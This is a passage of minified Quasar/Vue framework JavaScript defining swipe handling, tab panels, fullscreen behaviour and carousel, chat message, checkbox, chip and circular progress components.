                    touchStart: function(t) {
                        if (pe(t, r)) {
                            var e = de(t.target);
                            k(r, "temp", [[e, "touchmove", "move", "notPassiveCapture"], [e, "touchcancel", "end", "notPassiveCapture"], [e, "touchend", "end", "notPassiveCapture"]]),
                            r.start(t)
                        }
                    },
                    start: function(e, i) {
                        !0 === u.is.firefox && x(t, !0);
                        var s = v(e);
                        r.event = {
                            x: s.left,
                            y: s.top,
                            time: Date.now(),
                            mouse: !0 === i,
                            dir: !1
                        }
                    },
                    move: function(t) {
                        if (void 0 !== r.event)
                            if (!1 === r.event.dir) {
                                var e = Date.now() - r.event.time;
                                if (0 !== e) {
                                    var i = v(t)
                                      , s = i.left - r.event.x
                                      , n = Math.abs(s)
                                      , o = i.top - r.event.y
                                      , a = Math.abs(o);
                                    if (!0 !== r.event.mouse) {
                                        if (n < r.sensitivity[1] && a < r.sensitivity[1])
                                            return void r.end(t)
                                    } else if (n < r.sensitivity[2] && a < r.sensitivity[2])
                                        return;
                                    var l = n / e
                                      , c = a / e;
                                    !0 === r.direction.vertical && n < a && n < 100 && c > r.sensitivity[0] && (r.event.dir = o < 0 ? "up" : "down"),
                                    !0 === r.direction.horizontal && n > a && a < 100 && l > r.sensitivity[0] && (r.event.dir = s < 0 ? "left" : "right"),
                                    !0 === r.direction.up && n < a && o < 0 && n < 100 && c > r.sensitivity[0] && (r.event.dir = "up"),
                                    !0 === r.direction.down && n < a && o > 0 && n < 100 && c > r.sensitivity[0] && (r.event.dir = "down"),
                                    !0 === r.direction.left && n > a && s < 0 && a < 100 && l > r.sensitivity[0] && (r.event.dir = "left"),
                                    !0 === r.direction.right && n > a && s > 0 && a < 100 && l > r.sensitivity[0] && (r.event.dir = "right"),
                                    !1 !== r.event.dir ? (S(t),
                                    !0 === r.event.mouse && (document.body.classList.add("no-pointer-events--children"),
                                    document.body.classList.add("non-selectable"),
                                    we(),
                                    r.styleCleanup = function(t) {
                                        r.styleCleanup = void 0,
                                        document.body.classList.remove("non-selectable");
                                        var e = function() {
                                            document.body.classList.remove("no-pointer-events--children")
                                        };
                                        !0 === t ? setTimeout(e, 50) : e()
                                    }
                                    ),
                                    r.handler({
                                        evt: t,
                                        touch: !0 !== r.event.mouse,
                                        mouse: r.event.mouse,
                                        direction: r.event.dir,
                                        duration: e,
                                        distance: {
                                            x: n,
                                            y: a
                                        }
                                    })) : r.end(t)
                                }
                            } else
                                S(t)
                    },
                    end: function(e) {
                        void 0 !== r.event && (q(r, "temp"),
                        !0 === u.is.firefox && x(t, !1),
                        void 0 !== r.styleCleanup && r.styleCleanup(!0),
                        void 0 !== e && !1 !== r.event.dir && S(e),
                        r.event = void 0)
                    }
                };
                t.__qtouchswipe && (t.__qtouchswipe_old = t.__qtouchswipe),
                t.__qtouchswipe = r,
                !0 === n.mouse && k(r, "main", [[t, "mousedown", "mouseStart", "passive" + o]]),
                !0 === u.has.touch && k(r, "main", [[t, "touchstart", "touchStart", "passive" + (!0 === n.capture ? "Capture" : "")], [t, "touchmove", "noop", "notPassiveCapture"]])
            }
        },
        update: function(t, e) {
            void 0 !== t.__qtouchswipe && he(t.__qtouchswipe, e)
        },
        unbind: function(t) {
            var e = t.__qtouchswipe_old || t.__qtouchswipe;
            void 0 !== e && (q(e, "main"),
            q(e, "temp"),
            !0 === u.is.firefox && x(t, !1),
            void 0 !== e.styleCleanup && e.styleCleanup(),
            delete t[t.__qtouchswipe_old ? "__qtouchswipe_old" : "__qtouchswipe"])
        }
    }
      , fi = t.extend({
        name: "QTabPanelWrapper",
        render: function(t) {
            return t("div", {
                staticClass: "q-panel scroll",
                attrs: {
                    role: "tabpanel"
                },
                on: mt(this, "stop", {
                    input: y
                })
            }, Lt(this, "default"))
        }
    })
      , mi = {
        mixins: [Mt],
        directives: {
            TouchSwipe: pi
        },
        props: {
            value: {
                required: !0
            },
            animated: Boolean,
            infinite: Boolean,
            swipeable: Boolean,
            vertical: Boolean,
            transitionPrev: String,
            transitionNext: String,
            keepAlive: Boolean
        },
        data: function() {
            return {
                panelIndex: null,
                panelTransition: null
            }
        },
        computed: {
            panelDirectives: function() {
                if (!0 === this.swipeable)
                    return [{
                        name: "touch-swipe",
                        value: this.__swipe,
                        modifiers: {
                            horizontal: !0 !== this.vertical,
                            vertical: this.vertical,
                            mouse: !0
                        }
                    }]
            },
            contentKey: function() {
                return "string" == typeof this.value || "number" == typeof this.value ? this.value : String(this.value)
            },
            transitionPrevComputed: function() {
                return this.transitionPrev || "slide-" + (!0 === this.vertical ? "down" : "right")
            },
            transitionNextComputed: function() {
                return this.transitionNext || "slide-" + (!0 === this.vertical ? "up" : "left")
            }
        },
        watch: {
            value: function(t, e) {
                var i = this
                  , s = !0 === this.__isValidPanelName(t) ? this.__getPanelIndex(t) : -1;
                !0 !== this.__forcedPanelTransition && this.__updatePanelTransition(-1 === s ? 0 : s < this.__getPanelIndex(e) ? -1 : 1),
                this.panelIndex !== s && (this.panelIndex = s,
                this.$emit("before-transition", t, e),
                this.$nextTick(function() {
                    i.$emit("transition", t, e)
                }))
            }
        },
        methods: {
            next: function() {
                this.__go(1)
            },
            previous: function() {
                this.__go(-1)
            },
            goTo: function(t) {
                this.$emit("input", t)
            },
            __isValidPanelName: function(t) {
                return void 0 !== t && null !== t && "" !== t
            },
            __getPanelIndex: function(t) {
                return this.panels.findIndex(function(e) {
                    var i = e.componentOptions;
                    return i && i.propsData.name === t && "" !== i.propsData.disable && !0 !== i.propsData.disable
                })
            },
            __getAllPanels: function() {
                var t = this;
                return this.panels.filter(function(e) {
                    return void 0 !== e.componentOptions && t.__isValidPanelName(e.componentOptions.propsData.name)
                })
            },
            __getAvailablePanels: function() {
                return this.panels.filter(function(t) {
                    var e = t.componentOptions;
                    return e && void 0 !== e.propsData.name && "" !== e.propsData.disable && !0 !== e.propsData.disable
                })
            },
            __updatePanelTransition: function(t) {
                var e = 0 !== t && !0 === this.animated && -1 !== this.panelIndex ? "q-transition--" + (-1 === t ? this.transitionPrevComputed : this.transitionNextComputed) : null;
                this.panelTransition !== e && (this.panelTransition = e)
            },
            __go: function(t, e) {
                var i = this;
                void 0 === e && (e = this.panelIndex);
                for (var s = e + t, n = this.panels; s > -1 && s < n.length; ) {
                    var o = n[s].componentOptions;
                    if (void 0 !== o && "" !== o.propsData.disable && !0 !== o.propsData.disable)
                        return this.__updatePanelTransition(t),
                        this.__forcedPanelTransition = !0,
                        this.$emit("input", n[s].componentOptions.propsData.name),
                        void setTimeout(function() {
                            i.__forcedPanelTransition = !1
                        });
                    s += t
                }
                !0 === this.infinite && n.length > 0 && -1 !== e && e !== n.length && this.__go(t, -1 === t ? n.length : -1)
            },
            __swipe: function(t) {
                var e = !0 === this.vertical ? "up" : "left";
                this.__go((!0 === this.$q.lang.rtl ? -1 : 1) * (t.direction === e ? 1 : -1))
            },
            __updatePanelIndex: function() {
                var t = this.__getPanelIndex(this.value);
                return this.panelIndex !== t && (this.panelIndex = t),
                !0
            },
            __getPanelContent: function(t) {
                if (0 !== this.panels.length) {
                    var e = this.__isValidPanelName(this.value) && this.__updatePanelIndex() && this.panels[this.panelIndex]
                      , i = !0 === this.keepAlive ? [t("keep-alive", [t(fi, {
                        key: this.contentKey
                    }, [e])])] : [t("div", {
                        staticClass: "q-panel scroll",
                        key: this.contentKey,
                        attrs: {
                            role: "tabpanel"
                        },
                        on: mt(this, "stop", {
                            input: y
                        })
                    }, [e])];
                    return !0 === this.animated ? [t("transition", {
                        props: {
                            name: this.panelTransition
                        }
                    }, i)] : i
                }
            }
        },
        render: function(t) {
            return this.panels = Lt(this, "default", []),
            this.__renderPanels(t)
        }
    }
      , vi = {
        mixins: [Mt],
        props: {
            name: {
                required: !0
            },
            disable: Boolean
        }
    }
      , gi = {
        props: {
            fullscreen: Boolean,
            noRouteFullscreenExit: Boolean
        },
        data: function() {
            return {
                inFullscreen: !1
            }
        },
        watch: {
            $route: function() {
                !0 !== this.noRouteFullscreenExit && this.exitFullscreen()
            },
            fullscreen: function(t) {
                this.inFullscreen !== t && this.toggleFullscreen()
            },
            inFullscreen: function(t) {
                this.$emit("update:fullscreen", t),
                this.$emit("fullscreen", t)
            }
        },
        methods: {
            toggleFullscreen: function() {
                !0 === this.inFullscreen ? this.exitFullscreen() : this.setFullscreen()
            },
            setFullscreen: function() {
                !0 !== this.inFullscreen && (this.inFullscreen = !0,
                this.container = this.$el.parentNode,
                this.container.replaceChild(this.fullscreenFillerNode, this.$el),
                document.body.appendChild(this.$el),
                document.body.classList.add("q-body--fullscreen-mixin"),
                this.__historyFullscreen = {
                    handler: this.exitFullscreen
                },
                A.add(this.__historyFullscreen))
            },
            exitFullscreen: function() {
                var t = this;
                !0 === this.inFullscreen && (void 0 !== this.__historyFullscreen && (A.remove(this.__historyFullscreen),
                this.__historyFullscreen = void 0),
                this.container.replaceChild(this.$el, this.fullscreenFillerNode),
                document.body.classList.remove("q-body--fullscreen-mixin"),
                this.inFullscreen = !1,
                void 0 !== this.$el.scrollIntoView && setTimeout(function() {
                    t.$el.scrollIntoView()
                }))
            }
        },
        beforeMount: function() {
            this.fullscreenFillerNode = document.createElement("span")
        },
        mounted: function() {
            !0 === this.fullscreen && this.setFullscreen()
        },
        beforeDestroy: function() {
            this.exitFullscreen()
        }
    }
      , _i = "function" == typeof Map
      , bi = "function" == typeof Set
      , yi = "function" == typeof ArrayBuffer;
    function wi(t, e) {
        if (t === e)
            return !0;
        if (null !== t && null !== e && "object" == typeof t && "object" == typeof e) {
            if (t.constructor !== e.constructor)
                return !1;
            var i, s;
            if (t.constructor === Array) {
                if ((i = t.length) !== e.length)
                    return !1;
                for (s = i; 0 != s--; )
                    if (!0 !== wi(t[s], e[s]))
                        return !1;
                return !0
            }
            if (!0 === _i && t.constructor === Map) {
                if (t.size !== e.size)
                    return !1;
                for (s = t.entries().next(); !0 !== s.done; ) {
                    if (!0 !== e.has(s.value[0]))
                        return !1;
                    s = s.next()
                }
                for (s = t.entries().next(); !0 !== s.done; ) {
                    if (!0 !== wi(s.value[1], e.get(s.value[0])))
                        return !1;
                    s = s.next()
                }
                return !0
            }
            if (!0 === bi && t.constructor === Set) {
                if (t.size !== e.size)
                    return !1;
                for (s = t.entries().next(); !0 !== s.done; ) {
                    if (!0 !== e.has(s.value[0]))
                        return !1;
                    s = s.next()
                }
                return !0
            }
            if (!0 === yi && null != t.buffer && t.buffer.constructor === ArrayBuffer) {
                if ((i = t.length) !== e.length)
                    return !1;
                for (s = i; 0 != s--; )
                    if (t[s] !== e[s])
                        return !1;
                return !0
            }
            if (t.constructor === RegExp)
                return t.source === e.source && t.flags === e.flags;
            if (t.valueOf !== Object.prototype.valueOf)
                return t.valueOf() === e.valueOf();
            if (t.toString !== Object.prototype.toString)
                return t.toString() === e.toString();
            var n = Object.keys(t);
            if ((i = n.length) !== Object.keys(e).length)
                return !1;
            for (s = i; 0 != s--; ) {
                var o = n[s];
                if (!0 !== wi(t[o], e[o]))
                    return !1
            }
            return !0
        }
        return t != t && e != e
    }
    function Si(t) {
        return "[object Date]" === Object.prototype.toString.call(t)
    }
    function xi(t) {
        return "number" == typeof t && isFinite(t)
    }
    var Ci = t.extend({
        name: "QCarousel",
        mixins: [Dt, mi, gi],
        props: {
            height: String,
            padding: Boolean,
            controlType: {
                type: String,
                validator: function(t) {
                    return ["regular", "flat", "outline", "push", "unelevated"].includes(t)
                },
                default: "flat"
            },
            controlColor: String,
            controlTextColor: String,
            autoplay: [Number, Boolean],
            arrows: Boolean,
            prevIcon: String,
            nextIcon: String,
            navigation: Boolean,
            navigationPosition: {
                type: String,
                validator: function(t) {
                    return ["top", "right", "bottom", "left"].includes(t)
                }
            },
            navigationIcon: String,
            thumbnails: Boolean
        },
        computed: {
            style: function() {
                if (!0 !== this.inFullscreen && void 0 !== this.height)
                    return {
                        height: this.height
                    }
            },
            direction: function() {
                return !0 === this.vertical ? "vertical" : "horizontal"
            },
            classes: function() {
                return "q-carousel q-panel-parent q-carousel--with" + (!0 === this.padding ? "" : "out") + "-padding" + (!0 === this.inFullscreen ? " fullscreen" : "") + (!0 === this.isDark ? " q-carousel--dark q-dark" : "") + (!0 === this.arrows ? " q-carousel--arrows-" + this.direction : "") + (!0 === this.navigation ? " q-carousel--navigation-" + this.navigationPositionComputed : "")
            },
            arrowIcons: function() {
                var t = [this.prevIcon || this.$q.iconSet.carousel[!0 === this.vertical ? "up" : "left"], this.nextIcon || this.$q.iconSet.carousel[!0 === this.vertical ? "down" : "right"]];
                return !1 === this.vertical && !0 === this.$q.lang.rtl ? t.reverse() : t
            },
            navIcon: function() {
                return this.navigationIcon || this.$q.iconSet.carousel.navigationIcon
            },
            navigationPositionComputed: function() {
                return this.navigationPosition || (!0 === this.vertical ? "right" : "bottom")
            },
            controlProps: function() {
                var t;
                return (t = {
                    color: this.controlColor,
                    textColor: this.controlTextColor,
                    round: !0
                })[this.controlType] = !0,
                t.dense = !0,
                t
            },
            transitionPrevComputed: function() {
                return this.transitionPrev || "fade"
            },
            transitionNextComputed: function() {
                return this.transitionNext || "fade"
            }
        },
        watch: {
            value: function() {
                this.autoplay && (clearInterval(this.timer),
                this.__startTimer())
            },
            autoplay: function(t) {
                t ? this.__startTimer() : clearInterval(this.timer)
            }
        },
        methods: {
            __startTimer: function() {
                this.timer = setTimeout(this.next, xi(this.autoplay) ? this.autoplay : 5e3)
            },
            __getNavigationContainer: function(t, e, i) {
                return t("div", {
                    class: "q-carousel__control q-carousel__navigation no-wrap absolute flex q-carousel__navigation--" + e + " q-carousel__navigation--" + this.navigationPositionComputed + (void 0 !== this.controlColor ? " text-" + this.controlColor : "")
                }, [t("div", {
                    staticClass: "q-carousel__navigation-inner flex no-wrap justify-center"
                }, this.__getAvailablePanels().map(i))])
            },
            __getContent: function(t) {
                var e = this
                  , i = [];
                if (!0 === this.navigation)
                    i.push(this.__getNavigationContainer(t, "buttons", function(i) {
                        var s = i.componentOptions.propsData.name;
                        return t(be, {
                            key: s,
                            class: "q-carousel__navigation-icon q-carousel__navigation-icon--" + (s === e.value ? "" : "in") + "active",
                            props: Object.assign({}, {
                                icon: e.navIcon,
                                size: "sm"
                            }, e.controlProps),
                            on: mt(e, "nav#" + s, {
                                click: function() {
                                    e.goTo(s)
                                }
                            })
                        })
                    }));
                else if (!0 === this.thumbnails) {
                    var s = void 0 !== this.controlColor ? " text-" + this.controlColor : "";
                    i.push(this.__getNavigationContainer(t, "thumbnails", function(i) {
                        var n = i.componentOptions.propsData;
                        return t("img", {
                            class: "q-carousel__thumbnail q-carousel__thumbnail--" + (n.name === e.value ? "" : "in") + "active" + s,
                            attrs: {
                                src: n.imgSrc
                            },
                            key: "tmb#" + n.name,
                            on: mt(e, "tmb#" + n.name, {
                                click: function() {
                                    e.goTo(n.name)
                                }
                            })
                        })
                    }))
                }
                return !0 === this.arrows && i.push(t("div", {
                    staticClass: "q-carousel__control q-carousel__arrow q-carousel__prev-arrow q-carousel__prev-arrow--" + this.direction + " absolute flex flex-center"
                }, [t(be, {
                    props: Object.assign({}, {
                        icon: this.arrowIcons[0]
                    }, this.controlProps),
                    on: mt(this, "prev", {
                        click: this.previous
                    })
                })]), t("div", {
                    staticClass: "q-carousel__control q-carousel__arrow q-carousel__next-arrow q-carousel__next-arrow--" + this.direction + " absolute flex flex-center"
                }, [t(be, {
                    props: Object.assign({}, {
                        icon: this.arrowIcons[1]
                    }, this.controlProps),
                    on: mt(this, "next", {
                        click: this.next
                    })
                })])),
                Pt(i, this, "control")
            },
            __renderPanels: function(t) {
                return t("div", {
                    style: this.style,
                    class: this.classes,
                    on: Object.assign({}, this.qListeners)
                }, [t("div", {
                    staticClass: "q-carousel__slides-container",
                    directives: this.panelDirectives
                }, this.__getPanelContent(t))].concat(this.__getContent(t)))
            }
        },
        mounted: function() {
            this.autoplay && this.__startTimer()
        },
        beforeDestroy: function() {
            clearInterval(this.timer)
        }
    })
      , ki = t.extend({
        name: "QCarouselSlide",
        mixins: [vi],
        props: {
            imgSrc: String
        },
        computed: {
            style: function() {
                if (this.imgSrc)
                    return {
                        backgroundImage: 'url("' + this.imgSrc + '")'
                    }
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-carousel__slide",
                style: this.style,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , qi = t.extend({
        name: "QCarouselControl",
        mixins: [Mt],
        props: {
            position: {
                type: String,
                default: "bottom-right",
                validator: function(t) {
                    return ["top-right", "top-left", "bottom-right", "bottom-left", "top", "right", "bottom", "left"].includes(t)
                }
            },
            offset: {
                type: Array,
                default: function() {
                    return [18, 18]
                },
                validator: function(t) {
                    return 2 === t.length
                }
            }
        },
        computed: {
            classes: function() {
                return "absolute-" + this.position
            },
            style: function() {
                return {
                    margin: this.offset[1] + "px " + this.offset[0] + "px"
                }
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-carousel__control absolute",
                style: this.style,
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Ti = t.extend({
        name: "QChatMessage",
        mixins: [Mt],
        props: {
            sent: Boolean,
            label: String,
            bgColor: String,
            textColor: String,
            name: String,
            avatar: String,
            text: Array,
            stamp: String,
            size: String,
            labelSanitize: Boolean,
            nameSanitize: Boolean,
            textSanitize: Boolean,
            stampSanitize: Boolean
        },
        computed: {
            textClass: function() {
                return "q-message-text-content q-message-text-content--" + this.op + (void 0 !== this.textColor ? " text-" + this.textColor : "")
            },
            messageClass: function() {
                return "q-message-text q-message-text--" + this.op + (void 0 !== this.bgColor ? " text-" + this.bgColor : "")
            },
            containerClass: function() {
                return "q-message-container row items-end no-wrap" + (!0 === this.sent ? " reverse" : "")
            },
            sizeClass: function() {
                if (void 0 !== this.size)
                    return "col-" + this.size
            },
            op: function() {
                return !0 === this.sent ? "sent" : "received"
            }
        },
        methods: {
            __getText: function(t) {
                var e = this
                  , i = !0 === this.textSanitize ? "textContent" : "innerHTML"
                  , s = !0 === this.stampSanitize ? "textContent" : "innerHTML";
                return this.text.map(function(n, o) {
                    var r, a;
                    return t("div", {
                        key: o,
                        class: e.messageClass
                    }, [t("div", {
                        class: e.textClass
                    }, [t("div", {
                        domProps: (r = {},
                        r[i] = n,
                        r)
                    }), e.stamp ? t("div", {
                        staticClass: "q-message-stamp",
                        domProps: (a = {},
                        a[s] = e.stamp,
                        a)
                    }) : null])])
                })
            },
            __getMessage: function(t) {
                var e, i = Bt(this, "default", []);
                return void 0 !== this.stamp && i.push(t("div", {
                    staticClass: "q-message-stamp",
                    domProps: (e = {},
                    e[!0 === this.stampSanitize ? "textContent" : "innerHTML"] = this.stamp,
                    e)
                })),
                t("div", {
                    class: this.messageClass
                }, [t("div", {
                    staticClass: "q-message-text-content",
                    class: this.textClass
                }, i)])
            }
        },
        render: function(t) {
            var e, i, s = [];
            void 0 !== this.$scopedSlots.avatar ? s.push(this.$scopedSlots.avatar()) : void 0 !== this.avatar && s.push(t("img", {
                class: "q-message-avatar q-message-avatar--" + this.op,
                attrs: {
                    src: this.avatar,
                    "aria-hidden": "true"
                }
            }));
            var n = [];
            void 0 !== this.name && n.push(t("div", {
                class: "q-message-name q-message-name--" + this.op,
                domProps: (e = {},
                e[!0 === this.nameSanitize ? "textContent" : "innerHTML"] = this.name,
                e)
            })),
            void 0 !== this.text && n.push(this.__getText(t)),
            void 0 !== this.$scopedSlots.default && n.push(this.__getMessage(t)),
            s.push(t("div", {
                class: this.sizeClass
            }, n));
            var o = [];
            return this.label && o.push(t("div", {
                staticClass: "q-message-label text-center",
                domProps: (i = {},
                i[!0 === this.labelSanitize ? "textContent" : "innerHTML"] = this.label,
                i)
            })),
            o.push(t("div", {
                class: this.containerClass
            }, s)),
            t("div", {
                class: "q-message q-message-" + this.op,
                on: Object.assign({}, this.qListeners)
            }, o)
        }
    })
      , $i = qt({
        xs: 30,
        sm: 35,
        md: 40,
        lg: 50,
        xl: 60
    })
      , Mi = {
        computed: {
            __refocusTargetEl: function() {
                if (!0 !== this.disable)
                    return this.$createElement("span", {
                        ref: "refocusTarget",
                        staticClass: "no-outline",
                        attrs: {
                            tabindex: -1
                        }
                    })
            }
        },
        methods: {
            __refocusTarget: function(t) {
                void 0 !== t && 0 === t.type.indexOf("key") ? document.activeElement !== this.$el && !0 === this.$el.contains(document.activeElement) && this.$el.focus() : void 0 !== t && !0 !== this.$el.contains(t.target) || void 0 === this.$refs.refocusTarget || this.$refs.refocusTarget.focus()
            }
        }
    }
      , Li = {
        mixins: [Dt, $i, ai, Mi],
        props: {
            value: {
                required: !0,
                default: null
            },
            val: {},
            trueValue: {
                default: !0
            },
            falseValue: {
                default: !1
            },
            indeterminateValue: {
                default: null
            },
            toggleOrder: {
                type: String,
                validator: function(t) {
                    return "tf" === t || "ft" === t
                }
            },
            toggleIndeterminate: Boolean,
            label: String,
            leftLabel: Boolean,
            fontSize: String,
            color: String,
            keepColor: Boolean,
            dense: Boolean,
            disable: Boolean,
            tabindex: [String, Number]
        },
        computed: {
            isTrue: function() {
                return !0 === this.modelIsArray ? this.index > -1 : this.value === this.trueValue
            },
            isFalse: function() {
                return !0 === this.modelIsArray ? -1 === this.index : this.value === this.falseValue
            },
            isIndeterminate: function() {
                return !1 === this.isTrue && !1 === this.isFalse
            },
            index: function() {
                if (!0 === this.modelIsArray)
                    return this.value.indexOf(this.val)
            },
            modelIsArray: function() {
                return void 0 !== this.val && Array.isArray(this.value)
            },
            computedTabindex: function() {
                return !0 === this.disable ? -1 : this.tabindex || 0
            },
            labelStyle: function() {
                if (void 0 !== this.fontSize)
                    return {
                        fontSize: this.fontSize
                    }
            },
            classes: function() {
                return "q-" + this.type + " cursor-pointer no-outline row inline no-wrap items-center" + (!0 === this.disable ? " disabled" : "") + (!0 === this.isDark ? " q-" + this.type + "--dark" : "") + (!0 === this.dense ? " q-" + this.type + "--dense" : "") + (!0 === this.leftLabel ? " reverse" : "")
            },
            innerClass: function() {
                var t = !0 === this.isTrue ? "truthy" : !0 === this.isFalse ? "falsy" : "indet"
                  , e = void 0 === this.color || !0 !== this.keepColor && ("toggle" === this.type ? !0 !== this.isTrue : !0 === this.isFalse) ? "" : " text-" + this.color;
                return "q-" + this.type + "__inner--" + t + e
            },
            formAttrs: function() {
                var t = {
                    type: "checkbox"
                };
                return void 0 !== this.name && Object.assign(t, {
                    checked: this.isTrue,
                    name: this.name,
                    value: !0 === this.modelIsArray ? this.val : this.trueValue
                }),
                t
            },
            attrs: function() {
                var t = {
                    tabindex: this.computedTabindex,
                    role: "checkbox",
                    "aria-label": this.label,
                    "aria-checked": !0 === this.isIndeterminate ? "mixed" : !0 === this.isTrue ? "true" : "false"
                };
                return !0 === this.disable && (t["aria-disabled"] = ""),
                t
            }
        },
        methods: {
            toggle: function(t) {
                void 0 !== t && (S(t),
                this.__refocusTarget(t)),
                !0 !== this.disable && this.$emit("input", this.__getNextValue(), t)
            },
            __getNextValue: function() {
                if (!0 === this.modelIsArray) {
                    if (!0 === this.isTrue) {
                        var t = this.value.slice();
                        return t.splice(this.index, 1),
                        t
                    }
                    return this.value.concat([this.val])
                }
                if (!0 === this.isTrue) {
                    if ("ft" !== this.toggleOrder || !1 === this.toggleIndeterminate)
                        return this.falseValue
                } else {
                    if (!0 !== this.isFalse)
                        return "ft" !== this.toggleOrder ? this.trueValue : this.falseValue;
                    if ("ft" === this.toggleOrder || !1 === this.toggleIndeterminate)
                        return this.trueValue
                }
                return this.indeterminateValue
            },
            __onKeydown: function(t) {
                13 !== t.keyCode && 32 !== t.keyCode || S(t)
            },
            __onKeyup: function(t) {
                13 !== t.keyCode && 32 !== t.keyCode || this.toggle(t)
            }
        },
        render: function(t) {
            var e = this.__getInner(t);
            !0 !== this.disable && this.__injectFormInput(e, "unshift", "q-" + this.type + "__native absolute q-ma-none q-pa-none invisible");
            var i = [t("div", {
                staticClass: "q-" + this.type + "__inner relative-position no-pointer-events",
                class: this.innerClass,
                style: this.sizeStyle
            }, e)];
            void 0 !== this.__refocusTargetEl && i.push(this.__refocusTargetEl);
            var s = void 0 !== this.label ? Pt([this.label], this, "default") : Lt(this, "default");
            return void 0 !== s && i.push(t("div", {
                staticClass: "q-" + this.type + "__label q-anchor--skip"
            }, s)),
            t("div", {
                class: this.classes,
                attrs: this.attrs,
                on: mt(this, "inpExt", {
                    click: this.toggle,
                    keydown: this.__onKeydown,
                    keyup: this.__onKeyup
                })
            }, i)
        }
    }
      , Bi = t.extend({
        name: "QCheckbox",
        mixins: [Li],
        methods: {
            __getInner: function(t) {
                return [t("div", {
                    staticClass: "q-checkbox__bg absolute"
                }, [t("svg", {
                    staticClass: "q-checkbox__svg fit absolute-full",
                    attrs: {
                        focusable: "false",
                        viewBox: "0 0 24 24"
                    }
                }, [t("path", {
                    staticClass: "q-checkbox__truthy",
                    attrs: {
                        fill: "none",
                        d: "M1.73,12.91 8.1,19.28 22.79,4.59"
                    }
                }), t("path", {
                    staticClass: "q-checkbox__indet",
                    attrs: {
                        d: "M4,14H20V10H4"
                    }
                })])])]
            }
        },
        created: function() {
            this.type = "checkbox"
        }
    })
      , Pi = t.extend({
        name: "QChip",
        mixins: [oe, Dt, qt({
            xs: 8,
            sm: 10,
            md: 14,
            lg: 20,
            xl: 24
        })],
        model: {
            event: "remove"
        },
        props: {
            dense: Boolean,
            icon: String,
            iconRight: String,
            iconRemove: String,
            label: [String, Number],
            color: String,
            textColor: String,
            value: {
                type: Boolean,
                default: !0
            },
            selected: {
                type: Boolean,
                default: null
            },
            square: Boolean,
            outline: Boolean,
            clickable: Boolean,
            removable: Boolean,
            tabindex: [String, Number],
            disable: Boolean
        },
        computed: {
            classes: function() {
                var t, e = !0 === this.outline && this.color || this.textColor;
                return (t = {})["bg-" + this.color] = !1 === this.outline && void 0 !== this.color,
                t["text-" + e + " q-chip--colored"] = e,
                t.disabled = this.disable,
                t["q-chip--dense"] = this.dense,
                t["q-chip--outline"] = this.outline,
                t["q-chip--selected"] = this.selected,
                t["q-chip--clickable cursor-pointer non-selectable q-hoverable"] = this.isClickable,
                t["q-chip--square"] = this.square,
                t["q-chip--dark q-dark"] = this.isDark,
                t
            },
            hasLeftIcon: function() {
                return !0 === this.selected || void 0 !== this.icon
            },
            isClickable: function() {
                return !1 === this.disable && (!0 === this.clickable || null !== this.selected)
            },
            attrs: function() {
                return !0 === this.disable ? {
                    tabindex: -1,
                    "aria-disabled": ""
                } : {
                    tabindex: this.tabindex || 0
                }
            }
        },
        methods: {
            __onKeyup: function(t) {
                13 === t.keyCode && this.__onClick(t)
            },
            __onClick: function(t) {
                this.disable || (this.$emit("update:selected", !this.selected),
                this.$emit("click", t))
            },
            __onRemove: function(t) {
                void 0 !== t.keyCode && 13 !== t.keyCode || (S(t),
                !this.disable && this.$emit("remove", !1))
            },
            __getContent: function(t) {
                var e = [];
                !0 === this.isClickable && e.push(t("div", {
                    staticClass: "q-focus-helper"
                })),
                !0 === this.hasLeftIcon && e.push(t(Et, {
                    staticClass: "q-chip__icon q-chip__icon--left",
                    props: {
                        name: !0 === this.selected ? this.$q.iconSet.chip.selected : this.icon
                    }
                }));
                var i = void 0 !== this.label ? [t("div", {
                    staticClass: "ellipsis"
                }, [this.label])] : void 0;
                return e.push(t("div", {
                    staticClass: "q-chip__content col row no-wrap items-center q-anchor--skip"
                }, Ot(i, this, "default"))),
                this.iconRight && e.push(t(Et, {
                    staticClass: "q-chip__icon q-chip__icon--right",
                    props: {
                        name: this.iconRight
                    }
                })),
                !0 === this.removable && e.push(t(Et, {
                    staticClass: "q-chip__icon q-chip__icon--remove cursor-pointer",
                    props: {
                        name: this.iconRemove || this.$q.iconSet.chip.remove
                    },
                    attrs: this.attrs,
                    on: mt(this, "non", {
                        click: this.__onRemove,
                        keyup: this.__onRemove
                    })
                })),
                e
            }
        },
        render: function(t) {
            if (!1 !== this.value) {
                var e = {
                    staticClass: "q-chip row inline no-wrap items-center",
                    class: this.classes,
                    style: this.sizeStyle
                };
                return !0 === this.isClickable && Object.assign(e, {
                    attrs: this.attrs,
                    on: mt(this, "click", {
                        click: this.__onClick,
                        keyup: this.__onKeyup
                    }),
                    directives: mt(this, "dir#" + this.ripple, [{
                        name: "ripple",
                        value: this.ripple
                    }])
                }),
                t("div", e, this.__getContent(t))
            }
        }
    })
      , Oi = 100 * Math.PI
      , Ei = Math.round(1e3 * Oi) / 1e3
      , zi = t.extend({
        name: "QCircularProgress",
        mixins: [Mt, Tt],
        props: {
            value: {
                type: Number,
                default: 0
            },
            min: {
                type: Number,
                default: 0
            },
            max: {
                type: Number,
                default: 100
            },
            color: String,
            centerColor: String,
            trackColor: String,
            fontSize: String,
            thickness: {
                type: Number,
                default: .2,
                validator: function(t) {
                    return t >= 0 && t <= 1
                }
            },
            angle: {
                type: Number,
                default: 0
            },
            indeterminate: Boolean,
            showValue: Boolean,
            reverse: Boolean,
            instantFeedback: Boolean
        },
        computed: {
            normalizedValue: function() {
                return ht(this.value, this.min, this.max)
            },
            svgStyle: function() {
                return {
                    transform: "rotate3d(0, 0, 1, " + (this.angle - 90) + "deg)"
                }
            },
            circleStyle: function() {
                if (!0 !== this.instantFeedback && !0 !== this.indeterminate)
                    return {
                        transition: "stroke-dashoffset 0.6s ease 0s, stroke 0.6s ease"
                    }
            },
            dir: function() {
                return (!0 === this.$q.lang.rtl ? -1 : 1) * (this.reverse ? -1 : 1)
            },
            viewBox: function() {
                return 100 / (1 - this.thickness / 2)
            },
            viewBoxAttr: function() {
                return this.viewBox / 2 + " " + this.viewBox / 2 + " " + this.viewBox + " " + this.viewBox
            },
            strokeDashOffset: function() {
                var t = 1 - (this.normalizedValue - this.min) / (this.max - this.min);
                return this.dir * t * Oi
            },
            strokeWidth: function() {
